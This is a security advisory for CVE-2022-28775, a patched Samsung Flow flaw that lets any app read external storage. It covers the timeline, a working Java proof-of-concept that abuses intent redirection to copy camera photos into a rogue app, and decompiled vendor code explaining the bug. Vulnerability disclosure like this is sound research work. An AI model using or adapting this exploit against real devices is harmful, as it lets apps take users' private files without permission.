Samsung Flow - Any App Can Read The External Storage

CVE-2022-28775

    Type

  • Security Control Bypass
  • Severity

  • Medium
  • Affected products

  • Samsung Flow Prior To Version 4.8.06.5
  • Remediation

  • Samsung has released Samsung Flow version 4.8.06.5 which addresses this issue. Users should update their Samsung Flow application to the latest version available.
  • Credits

  • This issue was discovered by Ken Gannon.
Timeline
19/10/2021Issue disclosed to Samsung Mobile Security
19/10/2021Issue assigned to a Samsung Security Analyst
02/01/2022Samsung confirms the vulnerability and rates it as a high risk issue
04/03/2022Patch released, Samsung initiates process for bug bounty reward
12/04/2022CVE Assigned
04/05/2022Advisory Published

Description

F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. Samsung Flow, an application offered on the Galaxy Store, had an issue with how it handled broadcasted intents. A rogue application could use this issue to read contents on the device's external storage without requiring the proper Android permissions.

The Exploit

As an example, the following exploit code will exfiltrate a picture taken by the device's camera. This example requires two parts. First, the rogue application must contain an exported activity with the following Java code:

public class IntentProxyToContentProvider extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = Uri.parse(getIntent().getDataString());
try {
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(),
bitmap,
"yaytitleyay",
"yaydescriptionyay");
InputStream input = getContentResolver().openInputStream(Uri.parse(yayuriyay));
File file = new File(getFilesDir(), "yayoutputyay.jpg");
FileOutputStream output = new FileOutputStream(file);
try{
byte[] buf = new byte[1024];
int len;
while ((len = input.read(buf)) > 0) {
output.write(buf, 0, len);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (input != null)
input.close();
if (output != null)
output.close();
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

Second, the rogue application must send the following Broadcast, replacing "<target picture>" with the name of the picture found on the device, and "<rogue application package>" with the package name of the rogue application:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.samsung.android.galaxycontinuity", "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"));
intent.setAction("com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT"); 
Intent intent2 = new Intent();
intent2.setComponent(new ComponentName("<rogue application package>", " <rogue application package>.IntentProxyToContentProvider"));
intent2.setData(Uri.parse("content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture name>"));
intent2.setFlags(195);
Bundle bundle = new Bundle();
bundle.putParcelable("_data", intent2);
bundle.putString("ClassName", "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity");
intent.putExtras(bundle); 
sendBroadcast(intent);

The above code will perform the following steps:

  • Send a Broadcast to the exported Broadcast Receiver "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver"
  • The Broadcast Receiver opens the unexported Activity "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity"
  • The Activity passes permissions to read the unexported Content File Provider "com.samsung.android.galaxycontinuity.provider" to the rogue application's exported Activity mentioned earlier

After successful exploitation, the targeted picture will be saved to the rogue application's "Files" private directory. Specifically, it will be saved to "/data/data/<rogue application package>/Files/yayoutputyay.jpg".

Technical Details

The exported Broadcast Receiver "com.samsung.android.galaxycontinuity.manager.GlobalBroadcastReceiver" processes received broadcast intents by checking for:

  • The action value
  • The extra string value "ClassName"

If the action value matches "com.samsung.android.galaxycontinuity.action.ACTION_FLOW_CONTENT_PENDING_INTENT" and "ClassName" is not null, then a new intent is created and Samsung Flow will start the activity defined in "ClassName". Any intent extras that is bundled with the broadcast intent is also bundled with the newly created intent:

public void onReceive(Context context, Intent intent) {
        Intent intent2;
        try {
            String action = intent.getAction();
            intent.setComponent(null);
            if (action.equals("REQUEST_LAUNCH_MY_FILES")) {
                FileUtil.openMyFiles(intent.getStringExtra("START_PATH"));
                return;
            }
            if (!"android.intent.action.BOOT_COMPLETED".equals(action)) {
                if (!ACTION_LAZY_BOOT_COMPLETE.equals(action)) {
                    if (Define.ACTION_FLOW_CONTENT_PENDING_INTENT.equals(action)) {
                        String stringExtra = intent.getStringExtra("ClassName");
                        if (stringExtra != null) {
                            if ((stringExtra.equals(NotificationDetailActivity.class.getName()) || stringExtra.equals(ChatActivity.class.getName())) && SettingsManager.getInstance().getNotificationOption()) {
                                Intent intent3 = new Intent(SamsungFlowApplication.get(), MirroringActivity.class);
                                intent3.setAction(Define.ACTION_SMARTVIEW_FROM_NOTIFICATION);
                                intent3.putExtra("FlowKey", intent.getStringExtra("FlowKey"));
                                intent3.setFlags(268435456);
                                SamsungFlowApplication.get().startActivity(intent3);
                                return;
                            }
                            Intent intent4 = new Intent(SamsungFlowApplication.get(), Class.forName(stringExtra));
                            intent4.replaceExtras(intent.getExtras());
                            intent4.setFlags(268435456);
                            SamsungFlowApplication.get().startActivity(intent4);
                            return;

By defining "com.samsung.android.galaxycontinuity.activities.ChooserDelegateActivity" as the "ClassName", a Create Chooser Intent is created based on the data defined in the passed intent’s parcelable extra "_data". The intent bundled in "_data" can contain standard intent objects, intent extras.

This new intent is started via startActivity:

public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        startChooser(getIntent());
        finish();
    }
private void startChooser(Intent intent) {
        if (intent != null && intent.getExtras().containsKey("_data")) {
            try {
                ArrayList<? extends Parcelable> arrayList = new ArrayList<>();
                arrayList.add(new ComponentName(SamsungFlowApplication.get().getPackageName(), ShareActivity.class.getName()));
                Intent createChooser = Intent.createChooser((Intent) intent.getParcelableExtra("_data"), ResourceUtil.getString(R.string.share));
                if (Build.VERSION.SDK_INT >= 24) {
                    createChooser.putExtra("android.intent.extra.EXCLUDE_COMPONENTS", (Parcelable[]) arrayList.toArray(new Parcelable[0]));
                } else {
                    createChooser.putParcelableArrayListExtra("extra_chooser_droplist", arrayList);
                }
                if (intent.getBooleanExtra(EXTRA_POP_OVER_SUPPORTED, false)) {
                    int intExtra = intent.getIntExtra(EXTRA_POP_OVER_POS, -1);
                    ActivityOptions makeBasic = ActivityOptions.makeBasic();
                    makeBasic.semSetChooserPopOverPosition(intExtra);
                    startActivity(createChooser, makeBasic.toBundle());
                    return;
                }
                startActivity(createChooser);
            } catch (Exception e) {
                FlowLog.e(e);
            }
        }
    }

If the Create Chooser Intent passed to "startActivity" contains the following flags, then the target started activity will be given access to Samsung Flow’s content providers, including unexported content providers:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
  • Intent.FLAG_GRANT_READ_URI_PERMISSION
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION

As an example, an intent passed to "startActivity" could contain a data value of "content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>". Then the target activity will be given access to the content provider "com.samsung.android.galaxycontinuity.provider" and be able to download the file "/external_files/DCIM/Camera/<target picture>". The following code within the target activity can be used to create a new file via the Android MediaStore content provider, and save the data that was obtained from "content://com.samsung.android.galaxycontinuity.provider/external_files/DCIM/Camera/<target picture>":

Uri uri = Uri.parse(getIntent().getDataString());
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri));
String yayuriyay = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "yaytitleyay", "yaydescriptionyay");
Lod.d("yaytagyay", "this content provider contains the saved media: " + yayuriyay);